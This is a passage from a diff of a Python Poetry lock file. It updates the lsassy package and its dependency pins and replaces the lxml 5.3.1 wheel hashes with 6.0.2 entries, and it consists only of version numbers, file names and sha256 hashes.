"sha256:a70417a6605afb8919b1d8bac3b123881bb2beb867c38666574d0aab4a41d450"}, - {file = "lsassy-3.1.13.tar.gz", hash = "sha256:d68e0a7ebbe84770e87091e7fd680d66e8cb937cb5221c028a2db6ff48619994"}, + {file = "lsassy-3.1.15-py3-none-any.whl", hash = "sha256:a94ad00686fdd438214e4dabb931fbbb3a3b3703e1329f89eaffe4daa974c724"}, + {file = "lsassy-3.1.15.tar.gz", hash = "sha256:3b548ced043fa8f74e1ebbca65927de24da39e1e8c306a326aa3c5f58bc51fce"}, ] [package.dependencies] -impacket = "*" -netaddr = "*" -pypykatz = ">=0.6.3" -rich = "*" +impacket = ">=0.11.0" +netaddr = ">=1.3.0" +pypykatz = ">=0.6.9" +rich = ">=13.7.1" + +[package.extras] +dev = ["pre-commit (>=3.7.1)", "ruff (>=0.5.1)"] [[package]] name = "lxml" -version = "5.3.1" +version = "6.0.2" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a4058f16cee694577f7e4dd410263cd0ef75644b43802a689c2b3c2a7e69453b"}, - {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:364de8f57d6eda0c16dcfb999af902da31396949efa0e583e12675d09709881b"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:528f3a0498a8edc69af0559bdcf8a9f5a8bf7c00051a6ef3141fdcf27017bbf5"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db4743e30d6f5f92b6d2b7c86b3ad250e0bad8dee4b7ad8a0c44bfb276af89a3"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:17b5d7f8acf809465086d498d62a981fa6a56d2718135bb0e4aa48c502055f5c"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:928e75a7200a4c09e6efc7482a1337919cc61fe1ba289f297827a5b76d8969c2"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a997b784a639e05b9d4053ef3b20c7e447ea80814a762f25b8ed5a89d261eac"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:7b82e67c5feb682dbb559c3e6b78355f234943053af61606af126df2183b9ef9"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:f1de541a9893cf8a1b1db9bf0bf670a2decab42e3e82233d36a74eda7822b4c9"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:de1fc314c3ad6bc2f6bd5b5a5b9357b8c6896333d27fdbb7049aea8bd5af2d79"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:7c0536bd9178f754b277a3e53f90f9c9454a3bd108b1531ffff720e082d824f2"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:68018c4c67d7e89951a91fbd371e2e34cd8cfc71f0bb43b5332db38497025d51"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:aa826340a609d0c954ba52fd831f0fba2a4165659ab0ee1a15e4aac21f302406"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:796520afa499732191e39fc95b56a3b07f95256f2d22b1c26e217fb69a9db5b5"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3effe081b3135237da6e4c4530ff2a868d3f80be0bda027e118a5971285d42d0"}, - {file = "lxml-5.3.1-cp310-cp310-win32.whl", hash = "sha256:a22f66270bd6d0804b02cd49dae2b33d4341015545d17f8426f2c4e22f557a23"}, - {file = "lxml-5.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:0bcfadea3cdc68e678d2b20cb16a16716887dd00a881e16f7d806c2138b8ff0c"}, - {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e220f7b3e8656ab063d2eb0cd536fafef396829cafe04cb314e734f87649058f"}, - {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0f2cfae0688fd01f7056a17367e3b84f37c545fb447d7282cf2c242b16262607"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:67d2f8ad9dcc3a9e826bdc7802ed541a44e124c29b7d95a679eeb58c1c14ade8"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db0c742aad702fd5d0c6611a73f9602f20aec2007c102630c06d7633d9c8f09a"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:198bb4b4dd888e8390afa4f170d4fa28467a7eaf857f1952589f16cfbb67af27"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2a3e412ce1849be34b45922bfef03df32d1410a06d1cdeb793a343c2f1fd666"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b8969dbc8d09d9cd2ae06362c3bad27d03f433252601ef658a49bd9f2b22d79"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5be8f5e4044146a69c96077c7e08f0709c13a314aa5315981185c1f00235fe65"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:133f3493253a00db2c870d3740bc458ebb7d937bd0a6a4f9328373e0db305709"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:52d82b0d436edd6a1d22d94a344b9a58abd6c68c357ed44f22d4ba8179b37629"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b6f92e35e2658a5ed51c6634ceb5ddae32053182851d8cad2a5bc102a359b33"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:203b1d3eaebd34277be06a3eb880050f18a4e4d60861efba4fb946e31071a295"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:155e1a5693cf4b55af652f5c0f78ef36596c7f680ff3ec6eb4d7d85367259b2c"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22ec2b3c191f43ed21f9545e9df94c37c6b49a5af0a874008ddc9132d49a2d9c"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:7eda194dd46e40ec745bf76795a7cccb02a6a41f445ad49d3cf66518b0bd9cff"}, - {file = "lxml-5.3.1-cp311-cp311-win32.whl", hash = "sha256:fb7c61d4be18e930f75948705e9718618862e6fc2ed0d7159b2262be73f167a2"}, - {file = "lxml-5.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:c809eef167bf4a57af4b03007004896f5c60bd38dc3852fcd97a26eae3d4c9e6"}, - {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e69add9b6b7b08c60d7ff0152c7c9a6c45b4a71a919be5abde6f98f1ea16421c"}, - {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4e52e1b148867b01c05e21837586ee307a01e793b94072d7c7b91d2c2da02ffe"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4b382e0e636ed54cd278791d93fe2c4f370772743f02bcbe431a160089025c9"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e49dc23a10a1296b04ca9db200c44d3eb32c8d8ec532e8c1fd24792276522a"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4399b4226c4785575fb20998dc571bc48125dc92c367ce2602d0d70e0c455eb0"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5412500e0dc5481b1ee9cf6b38bb3b473f6e411eb62b83dc9b62699c3b7b79f7"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c93ed3c998ea8472be98fb55aed65b5198740bfceaec07b2eba551e55b7b9ae"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:63d57fc94eb0bbb4735e45517afc21ef262991d8758a8f2f05dd6e4174944519"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:b450d7cabcd49aa7ab46a3c6aa3ac7e1593600a1a0605ba536ec0f1b99a04322"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:4df0ec814b50275ad6a99bc82a38b59f90e10e47714ac9871e1b223895825468"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d184f85ad2bb1f261eac55cddfcf62a70dee89982c978e92b9a74a1bfef2e367"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b725e70d15906d24615201e650d5b0388b08a5187a55f119f25874d0103f90dd"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a31fa7536ec1fb7155a0cd3a4e3d956c835ad0a43e3610ca32384d01f079ea1c"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3c3c8b55c7fc7b7e8877b9366568cc73d68b82da7fe33d8b98527b73857a225f"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d61ec60945d694df806a9aec88e8f29a27293c6e424f8ff91c80416e3c617645"}, - {file = "lxml-5.3.1-cp312-cp312-win32.whl", hash = "sha256:f4eac0584cdc3285ef2e74eee1513a6001681fd9753b259e8159421ed28a72e5"}, - {file = "lxml-5.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:29bfc8d3d88e56ea0a27e7c4897b642706840247f59f4377d81be8f32aa0cfbf"}, - {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c093c7088b40d8266f57ed71d93112bd64c6724d31f0794c1e52cc4857c28e0e"}, - {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b0884e3f22d87c30694e625b1e62e6f30d39782c806287450d9dc2fdf07692fd"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1637fa31ec682cd5760092adfabe86d9b718a75d43e65e211d5931809bc111e7"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a364e8e944d92dcbf33b6b494d4e0fb3499dcc3bd9485beb701aa4b4201fa414"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:779e851fd0e19795ccc8a9bb4d705d6baa0ef475329fe44a13cf1e962f18ff1e"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c4393600915c308e546dc7003d74371744234e8444a28622d76fe19b98fa59d1"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:673b9d8e780f455091200bba8534d5f4f465944cbdd61f31dc832d70e29064a5"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:2e4a570f6a99e96c457f7bec5ad459c9c420ee80b99eb04cbfcfe3fc18ec6423"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:71f31eda4e370f46af42fc9f264fafa1b09f46ba07bdbee98f25689a04b81c20"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:42978a68d3825eaac55399eb37a4d52012a205c0c6262199b8b44fcc6fd686e8"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:8b1942b3e4ed9ed551ed3083a2e6e0772de1e5e3aca872d955e2e86385fb7ff9"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:85c4f11be9cf08917ac2a5a8b6e1ef63b2f8e3799cec194417e76826e5f1de9c"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:231cf4d140b22a923b1d0a0a4e0b4f972e5893efcdec188934cc65888fd0227b"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5865b270b420eda7b68928d70bb517ccbe045e53b1a428129bb44372bf3d7dd5"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7bebc2275016cddf3c997bf8a0f7044160714c64a9b83975670a04e6d2252"}, - {file = "lxml-5.3.1-cp313-cp313-win32.whl", hash = "sha256:d0751528b97d2b19a388b302be2a0ee05817097bab46ff0ed76feeec24951f78"}, - {file = "lxml-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:91fb6a43d72b4f8863d21f347a9163eecbf36e76e2f51068d59cd004c506f332"}, - {file = "lxml-5.3.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:016b96c58e9a4528219bb563acf1aaaa8bc5452e7651004894a973f03b84ba81"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82a4bb10b0beef1434fb23a09f001ab5ca87895596b4581fd53f1e5145a8934a"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d68eeef7b4d08a25e51897dac29bcb62aba830e9ac6c4e3297ee7c6a0cf6439"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:f12582b8d3b4c6be1d298c49cb7ae64a3a73efaf4c2ab4e37db182e3545815ac"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2df7ed5edeb6bd5590914cd61df76eb6cce9d590ed04ec7c183cf5509f73530d"}, - {file = "lxml-5.3.1-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:585c4dc429deebc4307187d2b71ebe914843185ae16a4d582ee030e6cfbb4d8a"}, - {file = "lxml-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:06a20d607a86fccab2fc15a77aa445f2bdef7b49ec0520a842c5c5afd8381576"}, - {file = "lxml-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:057e30d0012439bc54ca427a83d458752ccda725c1c161cc283db07bcad43cf9"}, - {file = "lxml-5.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4867361c049761a56bd21de507cab2c2a608c55102311d142ade7dab67b34f32"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3dddf0fb832486cc1ea71d189cb92eb887826e8deebe128884e15020bb6e3f61"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1bcc211542f7af6f2dfb705f5f8b74e865592778e6cafdfd19c792c244ccce19"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaca5a812f050ab55426c32177091130b1e49329b3f002a32934cd0245571307"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:236610b77589faf462337b3305a1be91756c8abc5a45ff7ca8f245a71c5dab70"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:aed57b541b589fa05ac248f4cb1c46cbb432ab82cbd467d1c4f6a2bdc18aecf9"}, - {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:75fa3d6946d317ffc7016a6fcc44f42db6d514b7fdb8b4b28cbe058303cb6e53"}, - {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:96eef5b9f336f623ffc555ab47a775495e7e8846dde88de5f941e2906453a1ce"}, - {file = "lxml-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:ef45f31aec9be01379fc6c10f1d9c677f032f2bac9383c827d44f620e8a88407"}, - {file = "lxml-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0611da6b07dd3720f492db1b463a4d1175b096b49438761cc9f35f0d9eaaef5"}, - {file = "lxml-5.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b2aca14c235c7a08558fe0a4786a1a05873a01e86b474dfa8f6df49101853a4e"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae82fce1d964f065c32c9517309f0c7be588772352d2f40b1574a214bd6e6098"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7aae7a3d63b935babfdc6864b31196afd5145878ddd22f5200729006366bc4d5"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8e0d177b1fe251c3b1b914ab64135475c5273c8cfd2857964b2e3bb0fe196a7"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:6c4dd3bfd0c82400060896717dd261137398edb7e524527438c54a8c34f736bf"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f1208c1c67ec9e151d78aa3435aa9b08a488b53d9cfac9b699f15255a3461ef2"}, - {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:c6aacf00d05b38a5069826e50ae72751cb5bc27bdc4d5746203988e429b385bb"}, - {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5881aaa4bf3a2d086c5f20371d3a5856199a0d8ac72dd8d0dbd7a2ecfc26ab73"}, - {file = "lxml-5.3.1-cp38-cp38-win32.whl", hash = "sha256:45fbb70ccbc8683f2fb58bea89498a7274af1d9ec7995e9f4af5604e028233fc"}, - {file = "lxml-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:7512b4d0fc5339d5abbb14d1843f70499cab90d0b864f790e73f780f041615d7"}, - {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5885bc586f1edb48e5d68e7a4b4757b5feb2a496b64f462b4d65950f5af3364f"}, - {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1b92fe86e04f680b848fff594a908edfa72b31bfc3499ef7433790c11d4c8cd8"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a091026c3bf7519ab1e64655a3f52a59ad4a4e019a6f830c24d6430695b1cf6a"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ffb141361108e864ab5f1813f66e4e1164181227f9b1f105b042729b6c15125"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3715cdf0dd31b836433af9ee9197af10e3df41d273c19bb249230043667a5dfd"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88b72eb7222d918c967202024812c2bfb4048deeb69ca328363fb8e15254c549"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa59974880ab5ad8ef3afaa26f9bda148c5f39e06b11a8ada4660ecc9fb2feb3"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:3bb8149840daf2c3f97cebf00e4ed4a65a0baff888bf2605a8d0135ff5cf764e"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:0d6b2fa86becfa81f0a0271ccb9eb127ad45fb597733a77b92e8a35e53414914"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:136bf638d92848a939fd8f0e06fcf92d9f2e4b57969d94faae27c55f3d85c05b"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:89934f9f791566e54c1d92cdc8f8fd0009447a5ecdb1ec6b810d5f8c4955f6be"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a8ade0363f776f87f982572c2860cc43c65ace208db49c76df0a21dde4ddd16e"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:bfbbab9316330cf81656fed435311386610f78b6c93cc5db4bebbce8dd146675"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:172d65f7c72a35a6879217bcdb4bb11bc88d55fb4879e7569f55616062d387c2"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e3c623923967f3e5961d272718655946e5322b8d058e094764180cdee7bab1af"}, - {file = "lxml-5.3.1-cp39-cp39-win32.whl", hash = "sha256:ce0930a963ff593e8bb6fda49a503911accc67dee7e5445eec972668e672a0f0"}, - {file = "lxml-5.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f7b64fcd670bca8800bc10ced36620c6bbb321e7bc1214b9c0c0df269c1dddc2"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:afa578b6524ff85fb365f454cf61683771d0170470c48ad9d170c48075f86725"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f5e80adf0aafc7b5454f2c1cb0cde920c9b1f2cbd0485f07cc1d0497c35c5d"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dd0b80ac2d8f13ffc906123a6f20b459cb50a99222d0da492360512f3e50f84"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:422c179022ecdedbe58b0e242607198580804253da220e9454ffe848daa1cfd2"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:524ccfded8989a6595dbdda80d779fb977dbc9a7bc458864fc9a0c2fc15dc877"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:48fd46bf7155def2e15287c6f2b133a2f78e2d22cdf55647269977b873c65499"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05123fad495a429f123307ac6d8fd6f977b71e9a0b6d9aeeb8f80c017cb17131"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a243132767150a44e6a93cd1dde41010036e1cbc63cc3e9fe1712b277d926ce3"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c92ea6d9dd84a750b2bae72ff5e8cf5fdd13e58dda79c33e057862c29a8d5b50"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2f1be45d4c15f237209bbf123a0e05b5d630c8717c42f59f31ea9eae2ad89394"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:a83d3adea1e0ee36dac34627f78ddd7f093bb9cfc0a8e97f1572a949b695cb98"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:3edbb9c9130bac05d8c3fe150c51c337a471cc7fdb6d2a0a7d3a88e88a829314"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2f23cf50eccb3255b6e913188291af0150d89dab44137a69e14e4dcb7be981f1"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df7e5edac4778127f2bf452e0721a58a1cfa4d1d9eac63bdd650535eb8543615"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:094b28ed8a8a072b9e9e2113a81fda668d2053f2ca9f2d202c2c8c7c2d6516b1"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:514fe78fc4b87e7a7601c92492210b20a1b0c6ab20e71e81307d9c2e377c64de"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8fffc08de02071c37865a155e5ea5fce0282e1546fd5bde7f6149fcaa32558ac"}, - {file = "lxml-5.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4b0d5cdba1b655d5b18042ac9c9ff50bda33568eb80feaaca4fc237b9c4fbfde"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3031e4c16b59424e8d78522c69b062d301d951dc55ad8685736c3335a97fc270"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb659702a45136c743bc130760c6f137870d4df3a9e14386478b8a0511abcfca"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a11b16a33656ffc43c92a5343a28dc71eefe460bcc2a4923a96f292692709f6"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c5ae125276f254b01daa73e2c103363d3e99e3e10505686ac7d9d2442dd4627a"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c76722b5ed4a31ba103e0dc77ab869222ec36efe1a614e42e9bcea88a36186fe"}, - {file = "lxml-5.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:33e06717c00c788ab4e79bc4726ecc50c54b9bfb55355eae21473c145d83c2d2"}, - {file = "lxml-5.3.1.tar.gz", hash = "sha256:106b7b5d2977b339f1e97efe2778e2ab20e99994cbb0ec5e55771ed0795920c8"}, + {file = "lxml-6.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e77dd455b9a16bbd2a5036a63ddbd479c19572af81b624e79ef422f929eef388"}, + {file = "lxml-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d444858b9f07cefff6455b983aea9a67f7462ba1f6cbe4a21e8bf6791bf2153"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f952dacaa552f3bb8834908dddd500ba7d508e6ea6eb8c52eb2d28f48ca06a31"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:71695772df6acea9f3c0e59e44ba8ac50c4f125217e84aab21074a1a55e7e5c9"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f68764f35fd78d7c4cc4ef209a184c38b65440378013d24b8aecd327c3e0c8"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:058027e261afed589eddcfe530fcc6f3402d7fd7e89bfd0532df82ebc1563dba"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8ffaeec5dfea5881d4c9d8913a32d10cfe3923495386106e4a24d45300ef79c"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:f2e3b1a6bb38de0bc713edd4d612969dd250ca8b724be8d460001a387507021c"}, + {file = "lxml-6.0.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d6690ec5ec1cce0385cb20896b16be35247ac8c2046e493d03232f1c2414d321"}, + {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a50c3c1d11cad0ebebbac357a97b26aa79d2bcaf46f256551152aa85d3a4d1"}, + {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = 